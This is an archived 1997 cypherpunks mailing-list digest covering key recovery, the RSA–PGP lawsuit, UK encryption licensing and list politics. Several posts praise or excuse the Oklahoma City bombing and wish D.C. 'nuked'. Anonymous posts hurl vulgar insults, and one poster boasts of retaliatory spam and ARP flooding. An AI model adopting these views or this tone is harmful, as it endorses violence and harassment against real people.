Subject: Re: key recovery vs data backup
In-Reply-To: <19970511024334.53652@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970512110252.21416I-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 11 May 1997, Kent Crispin wrote:
> In the multiple recipient case, therefore, the master 
> key is potentially used quite frequently, and hence much more 
> exposed.  There are many other differences: I won't try to go into 
> detail here.

Good point.

I happen to think that using the master key to decrypt documents is better
practice than using the master key to obtain copies of other keys, but I
can see both sides of this argument.

> > > What part of the organization that is Acme Corp is authorized to know
> > > this particular bit of information?
> > 
> > Whatever the answer to the latter question is, it's the same in the CAK
> > case as it is in the "encrypt to a special coprorate key" case.
> 
> Not if the encryption client encrypts to different company recipients
> depending on a policy (which one might want if one tries to limit the 
> compromised master key problem described above.)  Then the policy, 
> contrary to what you state below, must be reflected in the client.

You are repeating your fallacy of assuming that the key safe (KS) case has
one policy for all users and the multiple recipients (MR) case has
different policies for different users.  The truth is that the two issues
(which model to use, and how many different policies to make visible to
the users' software) are orthogonal.  You can have KS with a different key
safe for each user, and you can have MR with the same extra recipients for
each user.

> > > Because some of the employees are idiots you want this
> > > built automatically into the application they are using for
> > > encryption/email/whatever.  How does this software know what policy
> > > is appropriate for which employee?  How is that policy distributed?
> > > What is the interface that allows a policy to be defined?  How do you
> > > protect the policy definition from subversion?
> > 
> > The same problems arise in the CAK case.  And the same solution: you
> > make the user's software do the same thing every time, and implement the
> > policy elsewhere.
> 
> Sigh.  The situations are really quite different.  In the KS
> case the policy never impacts the software; in the MR case I don't 
> think you can avoid it.

Sigh.  The same fallacy again.

In the KS case, the software must know which key safe to use and how to
secure and authenticate access to the key safe.

In the MR case, the software must know which extra recipients to add, and
the corresponding public keys.

In both cases, the software is affected to some minimum extent.  In both
cases, you can choose to make the software more complex by adding more
policy knowledge.  In neither case are you forced to add more than the
minimum amount of policy information to the software.

> > > Access to the key-safe is critical, of course, but it can be made very
> > > secure -- a special-purpose piece of hardware that requires passwords
> > > from n out of m key czars before access is granted, for example.
> > > Or the contents of the key safe can be encrypted via keys escrowed
> > > through a secret sharing mechanism
> > 
> > The same problems and solutions apply in both the CAK case and in the
> > "corporate key as extra crypto recipient" case.
> 
> Not at all. The corporate master key is used to decrypt documents in the 
> MR case; in the KS case the master key is used to get to the key 
> database.

What I meant was, you can make n-of-m hardware stuff for both cases.
Surely you don't disagree with that?

> >   - With CAK, every time a user creates a new key, the user's software
> >     needs to talk to teh key safe.  This needs a secure channel, which
> >     raises further authentication problems (how does the user know that
> >     he's not talking to a fake key safe).  These don't arise in the
> >     non-CAK case.
> 
> Not so.  You have to exactly the same issue -- how does the user find 
> out the master key to encrypt to?

Finding out which key to encrypt to in the MR case is analagous to finding
out which key safe to talk to in the KS case.  Securing and authenticating
the channel to the key safe in the KS case is an extra issue that does not
have a counterpart in the MR case.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 05:23:20 +0800
To: cypherpunks@toad.com
Subject: Re: Mondex
Message-ID: <199705121910.MAA00866@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 12 May 1997 
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Cc: cypherpunks@toad.com
Subject: Re: Mondex

I think Vulis needs each of us to send ten copies of this back to
him.

On Sun, 11 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May is a pimply Graham-John Bullers sitting at a 
> computer chortling at his own imagined cleverness.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "ET" <emergent@eval-apply.com>
Date: Tue, 13 May 1997 00:42:17 +0800
To: <cypherpunks@toad.com>
Subject: Unexportable crypto
Message-ID: <199705121618.MAA09197@jazz.cape.com>
MIME-Version: 1.0
Content-Type: text/plain


A simple substitution cypher has a keyspace of
26! ~ 2**88
Isn't this too strong to export?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <dibona@acm.org>
Date: Tue, 13 May 1997 04:47:36 +0800
To: "cypherpunks@toad.com>
Subject: RE: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


This really came as no surprise to anyone who deals with RSA. Note I am only talking for myself when I write this, but there is a LOT of money to be made by someone (certicom?) if they can give a cross-platform rsa type solution. I mean RSA has a fairly good product,but I can name at elase two other companies who've had this exact same problem with cross-licensing.

Really, does RSA expect Netscape or Microsoft to re-license every time they allow an oem to repackage thier products into or as part of a suite of programs with a third party vendor? RSA has a bunch of bullies at thier helm. They should realize that pulling this kind of crap will only make people jump ship faster when another company comes calling with a similar product and less restrictive licensing. 

I think that RSA should also realize that without PGP, their market would be much smaller, I think every time RSA licenses thier (now renewed) patents, they should think of Phil. I don't mean to saint the guy here or anything, but they owe him a debt that is difficult to quantify. By suing PGP they are basically saying , if I can extrapolate in a rather extreme manner, "privacy is okay, but only if we make money at it." 

And keep in mind , I don't begrudge RSA thier right to make money off thier intellectual property, but suing your customers except in the most extreme situations should be seen as a warning sign to the industry that to deal with RSA as a vendor is to take a risk that may be dangerous. 

    Chris DiBona
    dibona@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 13 May 1997 01:23:44 +0800
To: cypherpunks@toad.com
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
Message-ID: <3.0.1.32.19970512130018.006f39c0@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

.................
RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
RSA Data Security has filed a lawsuit against Pretty Good Privacy (PGP),
alleging that PGP failed to comply with the terms of a licensing agreement
that RSA had signed with Lemcom, the company with which PGP merged last
year.  RSA says Lemcom had "no ability to transfer rights to the source code
for the Licensed Product to an OEM Customer or anyone else."  When informed
that its license agreement to RSA technology was canceled, "PGP demanded we
sue them in order to exercise audit rights clearly laid out in the
agreement," says RSA President Jim Bidzos.  "Their behavior makes us wonder
what they have to hide."  Meanwhile, PGP says the products it's developing
don't rely on the RSA encryption scheme.  "Those new products will be
encryption-algorithm independent," says PGP VP Robert Kohn, which will
"break RSA monopoly on this technology."  (InfoWorld Electric 9 May 97)
.......................


************************************************************
Edupage, 11 May 1997.  Edupage, a summary of news about information
technology, is provided three times a week as a service by Educom, a
Washington, D.C.-based consortium of leading colleges and universities
seeking to transform education through the use of information technology.
************************************************************




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8WIw+UxE0smTPVt00pd+xmox0jjMt+1Sq3Xg8/P6CNn2/kjGGyCPVcq5NBx3FV84
rXSC4NjjJPU=
=92sF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 05:01:50 +0800
To: cypherpunks@toad.com
Subject: Re: Applauding Violence (was: Re: Wine Politics Again! (fwd))
Message-ID: <199705122042.NAA06412@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei wrote:
> >> On Fri, 9 May 1997, Tim May wrote:
> >>Every day that passes, I'm more convinced that McVeigh did the right
> >>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
> >>that.

> I'm getting progressively more turned off by
> Tim's developing survivalist/confrontationist stance. I fear that
> journalists and other casual readers will mistake his positions
> for common 'cypherpunk' viewpoints.

  If they don't know shit from shinola, then let them base their beliefs
on any mistaken notion they wish.
  Every cypherpunk who wants to edit their posts out of fear that some
dweeb will mistake them for the God of Cypherpunks raise your hand.
  (Looks like you're the only one, Peter.)
 
> The type of armed, ingrained bitterness towards all aspects and
> manifestations of government he displays is hazardous to himself
> personally; I can envisage a simple traffic stop turning violent.

  It certainly did for Rodney King.
 
> Worse, he's demonizing his opponent. This is counter-productive.
> It's better to try to understand the actual underlying goals of
> your opponent - it gives you a much better chance at turning
> him into your ally, or avoiding a conflict if you cannot do that.
> If he can be neither turned nor avoided, the minimum action to
> change the status quo should be used.

  Precisely. The level of minimum action needed to change the status
quo is increasing by leaps and bounds.
  If the average citizen was not complacently allowing the government
to run ramshod over the rights and freedoms of the citizens, then the
individuals who choose to battle this oppression would not have to
take such drastic action in retaliation.
 
> The policies of the current gang in power are bad, and may well
> get worse. But terrorism is not yet an appropriate response, and
> I pray that it never will be.

  Everyone has their own threshold of pain which they can endure
before they feel compelled to take steps to counteract the actions
of the source of that pain.
  For some that threshold is a slap, for some a punch, and for some
it is a beating. Those who cause pain to others will suffer the
consequences of their actions. This applies to the people who are
lowest on the totem pole in the oppression of the citizens just as 
much as it applies to Timothy McVeigh.

  I didn't notice any great cries of outrage when the U.S. attack
on Saddam Hussein resulted in the death of innocents. It seems that
some lives are deemed more expendable than the lives of others.
  When U.S. forces slaughtered retreating Iraqui troops a great
cheer of victory sounded throughout the nation. Had the opposite
scenario been the case, the nation would have been calling for the
heads of the Iraquis for their callousness.

  If those who participate in the unjust persecution of a plethora
of the nation's citizens become so comfortable with their ability
to remain insulated from the consequences of their actions that they
feel free to place their children at the scene of the crime, then 
they face the same responsibility as someone who takes their child
along on an armed robbery.

  The terrorism was not instituted by the citizens against their
government, but the other way around.

TruthMonger #2





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 13 May 1997 02:08:24 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
I said:
>I appreciate the inference as to my (lack of) intelligence.  ;)

To which Vulis wrote:
>Your lack of ethics, rather.  You choose to work for someone who chooses
>to use inadequate Microsoft software, and you brandish these choices as
>an excuse to interfere with somene's free speech.

I'm not brandishing anything as an excuse, simply stating this: I should
not have to walk through the street (get my email) wearing 4 inches of
kevlar (using spam filters), *just in case* someone decides to whip out a
submachine gun (spam).  It should not me my job to defend myself from
psychos, rather people should have to ask my permission to infringe upon my
space and time.

Microsoft (and I can't believe I'm saying this) actually is doing it right
for a change: when you sign up to be a part of any of their "clubs" (SBN,
etc), you get asked if you want to receive further mail.

How am I taking away from Sanford's right to free speech by just spamming
him back?  I sgree with this weekend's discussion on arp attacks:
technically, they should be no different than spam attacks.  WHy then
should he (or whoever) have the right to spam me without fear of retribution?

>I'm fairly confident that they will withstand whatever attacks these
>half-brained wannabe hackers and anti-free-speech hooligans can invent.

Actually, and this is just MHO, I don't really care if the 100 or so
spams/arps I send them are but a mosquito's bite to them.  It makes *me*
feel better.  I'm not in this necessarily to shut anyone down (though it
would be a nice side-effect), just to annoy them as much as they annoy me.
Like I said, I'm more of the passive-agressive type, so I'm not here to
wage a war, just a few small skirmishes.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A heart of gold beats under that big fiberglass croissant, Arthur.  And
thank goodness for it!  It's spirit like hers that allowed us to thwart
Chairface's evil scheme and thwart we did."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 08:53:41 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <199705020937.KAA00881@server.test.net>
Message-ID: <3.0.1.32.19970512135547.005f2040@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Well, the consequence of book-entry transactions, of course, is the
>interference of the nation-state, because that's your anti-repudiation
>mechanism. Book-entry banks need nation-states, or force monopolies of
>somekind, to exist. 

I disagree.  Book-entry banks need some kind of fairly reliable
dispute resolution mechanism, but it doesn't need to be a force monopoly.
If you happen to have a nation-state just lying around to be used,
banks will be happy to use them, because they're more convenient for
wide-area business than Mafia enforcers, probably cheaper, and can be
more dependable and predictable, though your mileage may vary.

If you have relatively dependable identities, you can run a reputation
system without relying on governmental or private violence providers;
it's probably less expensive, but also less effective in most communities,
so the risk of losing money may make it less attractive than governments.
If people know that nobody will take their checks if they bounce them
and don't make good, and know they won't get any credit, and know that
the merchants are all on the Grapevine, they'll generally be honest*.
If identities are fluid, and you're willing to keep creating and burning them,
you can sometimes get away with reneging on obligations,
but people are less likely to trust you if they don't know you -
so they'll want to see certified e-checks from well-known banks.

I tend to view book-entry systems as an effect of an
economy that uses credit to fund business ventures;
you can call the book entries "bonds" or "stocks", but
book-entry is the obvious way to keep track of either one.
Sure, you could do things like split all revenues on receipt,
but book-entry is probably still easier.

[*Honest people will generally be honest anyway, which is most people
in most cultures, but that doesn't mean they'll be good enough at
planning to pay off their loans on time, especially if they're using
the money for risky activities such as farming or software development...
On the other hand, violence providers aren't always good at extracting
payments from people who really don't have the money any more.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 13 May 1997 02:35:24 +0800
To: cypherpunks@toad.com
Subject: Cryptography Forum
Message-ID: <1.5.4.32.19970512181438.008ab04c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Forward from Cyberia-L:

Cryptography Forum
May 22, 1997 at 7:00 p.m.
Association of the Bar of the City of New York
22 West 44th Street, New York City

Interested persons are invited to attend.  No fee or
reservation is required.

TITLE OF PROGRAM:
Guns, Ammunition and Cryptography: Is the Government's
Policy on Digital Encryption Creating a Crisis?

A moderated panel will discuss issues raised by the
Government's policy on cryptography.

MODERATOR:
Charles R. Nesson, Professor, Harvard Law School

PANELISTS:
Jim Bidzos
President and CEO, RSA Data Security, Inc.

Scott Charney
Computer Crime Unit, Department of Justice

Kenneth W. Dam
Professor, University of Chicago Law School; Chair,
National Research Council Committee to Study National
Cryptography Policy

Dorothy E. Denning
Professor, Computer Science Department, Georgetown
University

David J. Farber
Professor, Computer and Information Science and Electrical
Engineering Departments, University of Pennsylvania

Marc Rotenberg
Director, Electronic Privacy Information Center

Sponsored by the Committees on Computer Law, Civil Rights,
Science and the Law, and Symposia, of the Association of
the Bar of the City of New York

For additional information, e-mail jzammit@fulbright.com or
dcohen@bway.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 06:17:16 +0800
To: cypherpunks@toad.com
Subject: Digital signatures
Message-ID: <199705122154.OAA10465@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's family tree goes straight up. All of his ancestors 
were siblings, to dumb to recognize each other in the dark.

        _  o
       |<)_/# Timmy May
       TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 06:33:01 +0800
To: cypherpunks@algebra.com
Subject: CAK/GAK center, "first and only U.S. Govnt. approved"
Message-ID: <199705122207.PAA11242@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.sourcefile.com

Just how many "authorized personnel" are there, and who all is paying
them to do what?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Mon, 12 May 1997 21:59:31 +0800
To: <cypherpunks@algebra.com>
Subject: Copy of: UK TTP Paper - For Your Information
Message-ID: <WIN2359-970512134423-1E44*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: message/rfc822


To: Joep.VAN-DER-VEER@DG15.cec.be, Theodor.SCHLICKMANN@BXL.DG13.cec.be,   Konstantinos.PAPANIKOLAOU@BXL.DG13.cec.be,   Christine.SOTTONG-MICAS@DG15.cec.be, Detlef.ECKERT@BXL.DG13.cec.be,   Andrea.SERVIDA@DG3.cec.be, Richard.SWETENHAM@LUX.DG13.cec.be,   Telmo.BALTAZAR@SG.cec.be, Giuseppe.CASELLA@DG3.cec.be
Subject: UK TTP Paper - For Your Information
From: David.HERSON@BXL.DG13.cec.be

-----Original Message-----
From:   Hendon David
Sent:   Friday, May 09, 1997 3:06 PM
To:     Non Receipt Notification Requested; Non Receipt Notification Requested
Subject:        Open Reply to Charles Lindsey's Open Letter to the DTI

cc Brian Gladman - please post to UKCrypto

Dear Mr Lindsey


OPEN REPLY TO THE "OPEN LETTER TO DTI" ON THE TTP CONSULTATION PAPER

First of all let me thank you for your letter of 24 April on the DTI 
Consultation Document, and also apologise for this rather late reply.  As 
you can imagine the last couple of weeks have been rather busy for 
Whitehall Departments.
I am glad you wrote, as it gives me an opportunity to clarify a number of 
issues which have arisen in both the various Usenet newsgroups and also in 
the responses we have received to the Consultation Document.  Let me first 
set the Consultation Document in context.
The Document, as the Introduction to it hopefully made clear, is an outline 
of how the previous Government's policy might be implemented.  It  follows 
on from the announcement last June on the provision of encryption services. 
  Whilst drawing up the Document we took careful notice of the various 
reactions we had received to that announcement. Unfortunately, there were 
not many.  Since the Consultation Document was published, a new Government 
has been elected.  Ministers have not yet had the opportunity to consider 
this subject.  It therefore follows that what is said below represents only 
the current view of officials from DTI and other Government Departments.
I will take your questions in order:
1.      Authentication of public keys by private individuals:

Of all the issues you raise this has perhaps caused the most concern to 
readers of the Consultation Document.  So let me confirm the position we 
take.  We do not have any intention to impose licensing conditions on 
individuals who through whatever action, certify the public keys of another 
individual through the basis of personal knowledge or friendship.  It 
would, however, be possible (and this is why the Paper is perhaps ambiguous 
on this point) for an individual (as opposed to an organisation) to carry 
out a certification process as a service using knowledge (to guarantee 
authenticity) gained by conventional means (such as passports etc).  It 
would also be possible for an individual to systematically certify the keys 
of a large number of individuals through "hearsay" knowledge.  Such 
arrangements, we believe, should be subject to licensing.
2.      Requirement to escrow private keys:

Again this is an issue which has been commented on frequently in the 
Newsgroups.  As further discussed in the answer to question 4, we can 
confirm that we do not propose that the user be required to escrow his 
private signature key (however generated) with a TTP.  In addition a user 
is clearly at liberty to generate his own key pair for confidentiality; in 
such circumstances we are not requiring the private key, of this pair, to 
be located with a TTP.  If, however, the TTP either generates the 
confidentiality key pair for a user,  or, for example, certifies a 
self-generated public key for confidentiality, then escrow of the 
associated private key would be required under our proposals.  Everyone 
should recognise that this is a compromise under which we acknowledge that 
a proportion of confidentiality keys will not be accessible via the warrant 
process because they have not been escrowed.

3.      Freedom to publish keys and certificates:

We can confirm that the proposals do not seek to licence an individual or 
organisation that simply provides a location where others' public key 
certificates or public keys can be published.   This, however, is on the 
understanding that the individual, or organisations do not (themselves) 
take steps, or provide a facility for others, to authenticate that public 
key or associated certificate.
4.      Exemption of signature-only private keys from disclosure under warrant:

You have correctly identified this question as going to the heart of the 
"legal access" proposals we have made.  And of course you are right in 
identifying the need for the Government to explain how its policy 
objectives are to be met in this area.  But we have been entirely 
consistent in pointing out, both in the Consultation Document and in other 
public fora, that private keys for signature play no part in the law 
enforcement elements of these proposals. It would be completely wrong and 
counter-productive to law enforcement objectives for the authorities to 
have the capability to interfere with the integrity or authenticity of a 
communication.
You invite a technical and detailed explanation of how we intend to cope 
with the ability of the RSA algorithm (and others) to issue a key pair that 
can be used both to ensure the integrity and confidentiality of a message. 
 I think the answer, at least at this stage, is that there probably is no 
such technical method (since we don't intend to restrict the choice of 
algorithm) to prevent this.   In terms of procedure, however, I think there 
is a clear distinction between the use of a key-pair for confidentiality as 
opposed to signing.   As we understand the issue it is a requirement (or at 
least accepted practice) that the public key certificate identifies the 
purpose for which it is to be used.   In other words the TTP (acting as a 
certification authority) will certify the public key, of an individual, for 
a particular purpose.  Therefore if it certifies a public key for signature 
it would not require the deposit of the associated private key;  while if 
it certified a key for confidentiality then it would.   It follows, I 
believe, that  if a user then used a "signature" key for confidentiality it 
would be doing so outside of the terms of the certificate.  It would 
therefore be unwise, in normal circumstances, for the user to do this as it 
would mislead his potential counterparts.  Now I appreciate that such a 
scenario could allow the sender and receiver (both using certified 
signature keys) to use the TTP network for encryption purposes without the 
possibility of key-recovery.  This is, therefore, clearly something we 
would need to look at carefully.   But in many respects, I would argue, it 
is little different from two users using encryption outwith the TTP network 
entirely (eg PGP); a scenario we accept will take place whatever we wish or 
do.
I trust the above is helpful to you.  I am sure it has not answered all of 
your questions or even fully the ones you posed.  There is a long way to go 
yet.   We will, as indicated, ensure that a summary of the responses we 
receive is published after the period of consultation finishes.  By the 
way, the consultation period ends on 31 May.  I have seen some speculation 
on the Internet that comments should be sent well ahead of this date to be 
considered by DTI.  This is not the case.  All responses, email or letter, 
sent on or before the 31 May will be considered.

Yours sincerely
David Hendon
Communications & Information Industries Directorate
DTI
9 May 97






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 13 May 1997 04:09:55 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
Message-ID: <0nRrIt200YUe082No0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:
> On Sun, May 11, 1997 at 01:18:43PM -0700, Lucky Green wrote:
> > People won't use crypto unless it is either transparent, meaning put there
> > *for* them by the OS vendor/application developer or because the see a need
> > for using it. The few fanatics that use crypto because "it is cool" are
> > inconsequential when the objective is bringing crypto to the masses.
> 
> I guess we are doomed, then.

Netscape Communicator has S/MIME built in. I'd imagine that their
support is kinda cheezy and underuses crypto, but it's a step in the
right direction. Considering how open the internet is to snooping, I
think it's nearly insane for business users to not use crypto. I guess
it's testimony to the effectiveness of draconian gov't regualtions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 07:20:34 +0800
To: cypherpunks@algebra.com
Subject: Snickering at the Compromisers
In-Reply-To: <199705122042.NAA06412@fat.doobie.com>
Message-ID: <v03007807af9d5841653f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


I'm not seeing some fraction of the list's traffic, for reasons unclear to
me (but problems at cyberpass.net seem to be involved), so I'll have to
respond to messages as best I can.

At 12:42 PM -0800 5/12/97, Huge Cajones Remailer wrote:
>Peter Trei wrote:
>> >> On Fri, 9 May 1997, Tim May wrote:
>> >>Every day that passes, I'm more convinced that McVeigh did the right
>> >>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
>> >>that.
>
>> I'm getting progressively more turned off by
>> Tim's developing survivalist/confrontationist stance. I fear that
>> journalists and other casual readers will mistake his positions
>> for common 'cypherpunk' viewpoints.

I never worry about representing the "common 'cypherpunk' viewpoint." I
represent my own views. Those who agree, can agree. Those who don't, don't.
Sounds fair to me.

As for anger and a survivalist mentality...some readers obviously weren't
around right after Waco, for example. (Though much of the anger was vented
on related lists, such as Extropians.)

And the creation of the group and mailing list can be traced back to a
strongly "survivalist" mode of thinking in 1992 and then into 1993, when
the implications of the Clipper program became clear. (Some of us saw the
seeds of Clipper six months earlier, in events during the first month of
the list's existence.)

Now that those who only want to talk about mathematical algorithms have
their own moderated mailing lists, there is much less reason to avoid
sociopolitical essays. Those who don't want to hear about politics and want
only to discuss C++  programming tricks are free to avoid the Cypherpunks
list.


>> The type of armed, ingrained bitterness towards all aspects and
>> manifestations of government he displays is hazardous to himself
>> personally; I can envisage a simple traffic stop turning violent.

Only if I'm stopped illegally. I've been stopped, but my truck has never
been searched.(Though California is, like any good police state, expanding
the grounds under which vehicles may be searched.)

>> Worse, he's demonizing his opponent. This is counter-productive.
>> It's better to try to understand the actual underlying goals of
>> your opponent - it gives you a much better chance at turning
>> him into your ally, or avoiding a conflict if you cannot do that.
>> If he can be neither turned nor avoided, the minimum action to
>> change the status quo should be used.

I freely admit I have never had the patience to analyze in detail their
world view. This is why I'm not a "policy wonk," I suppose. I did analyze
the writings of Denning in enough detail to figure out where she was going,
which made her appearance as the Clipperchick hardly surprising.

Do I "demonize" them? No, I just think they're thieves and liars, and in
many cases murderers. I could recap the many examples of this, from
well-substantiated evidence the CIA was running drugs, to acts of military
terrorism by the U.S....but this is all well-trod ground. (Part of why
little effort need be expended trying to "understand the actual underlying
goals" of these politicians and bureacrats.

As with gun rights and the NRA, understanding the "goals" of a Sarah Brady
or Diane Swinestein is a waste of time...their goals are transparent. The
NRA, a vasly larger and better organized group than we are, tried to
"understand" and "reach common ground" with these folks and got stomped on
by the process. Ditto for the EFF. Washington, like Paris, like Teheran,
like all imperial capitals, thrives on such Borg-like assimilations.

>> The policies of the current gang in power are bad, and may well
>> get worse. But terrorism is not yet an appropriate response, and
>> I pray that it never will be.

For the 3rd or 4th time, I have never advocated terrorism, at least not of
a physical sort. I have said I hope to see D.C. nuked, which is hardly the
same as "advocating" terrorism in any meaningful sense (not even the "will
no one rid me of this corrupt city?" sense, given that I have no
Beckett-like powers).

And I have said I can understand some of the motivations of McVeigh, though
I think what he did hurt the cause of liberty.

Those who don't like my honest expressions of opinions should go elsewhere.
Things are bad here in this growing police state, but it isn't yet evidence
of a crime to wish for certain things. (There appears to be an exception
for publically wishing something bad will happen to certain persons who
play golf a lot and ride in Air Force One...part of America's New Royalism.
Though even in this case a leading Senator who warned that Clinton had
better be wearning a bulletproof vest if he visits his home state was not
charged with any crime...if some college student had made exactly the same
threat he'd have been raided, thrown in jail for a week or so with Bubba
(the other Bubba), expelled from college, and so on.)

The Cypherpunks list is clearly not for everyone. Many who were once major
contributors have left, or moved on, or whatever. Some even work in crypto,
and at least one company is mainly made up of folks who met on the
Cypherpunks list.

That some of them have lost interest in politics, or denounce the current
list as "too political," or refer to anyone not doing a crypto company as
"Cypherpunks hobbyists," well, that's to be expected. The Cypherpunks list
was not to everyone's liking even 4 years ago, as any reading of the
Detweiler Wars will obviously see. And back then there were calls for more
compromises with the Washington power establishment, for working with
legislators, and so on. Some even left the list back then because the list
was too "anarchic," and wouldn't adopt an official Charter, an official
Spokespunk, and so on. So?

As a final note, some of the folks over the years urging more official
links to the Washington establishment, more "crypto outreach" to
legislators, actually lived in the Virginia-D.C.-Maryland area. In one
telling example, at the famous post-Clipper emergency meeting (4/93), some
of them called for more Cypherpunk outreach to D.C. "Fine," we said (we
being the 40 or so folks in the crowded room in Mountain View), "we're glad
you've volunteered to make political action your special focus." Those of
us in Silicon Valley, 3000 miles away from D.C., were happy to hear some
"locals" planning a D.C. effort. Alas, but predictably, this never went
anywhere. So, everytime I hear suggestions on the list that Cypherpunks
should "work with Washington," I think of this and snicker.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 07:29:28 +0800
To: Adam Back <cypherpunks@algebra.com
Subject: Re: `careerpunks'
In-Reply-To: <199705122216.XAA02603@server.test.net>
Message-ID: <v03007808af9d61277c6b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:16 PM -0800 5/12/97, Adam Back wrote:
>[This post cc cypherpunks@algebra.com & cypherpunks@cyberpass.net to
>aid propogation which seems to be struggling.]
>
>In trying to figure out which lists were working, I noticed that there
>are now many more people on coderpunks and cryptography than there are
>on cypherpunks... take a look at these figures:
>
>  713 cryptography@c2.net
>  713 coderpunks@toad.com
>  245 cypherpunks@algebra.com + cypherpunks@cyberpass.net - duplicates
>
>Seems to me many of the `cypherpunks' have become `careerpunks' and
>are now more interested in trading crypto tips, trade gossip, than in
>cypherpunks projects.

Interesting. I just made some similar remarks in my "Snickering at
Compromisers" article, which just went out as this one was coming in.

I know of a company most of whose employers met each other through the
Cypherpunks list. Yet the leader of this company announced that his was a
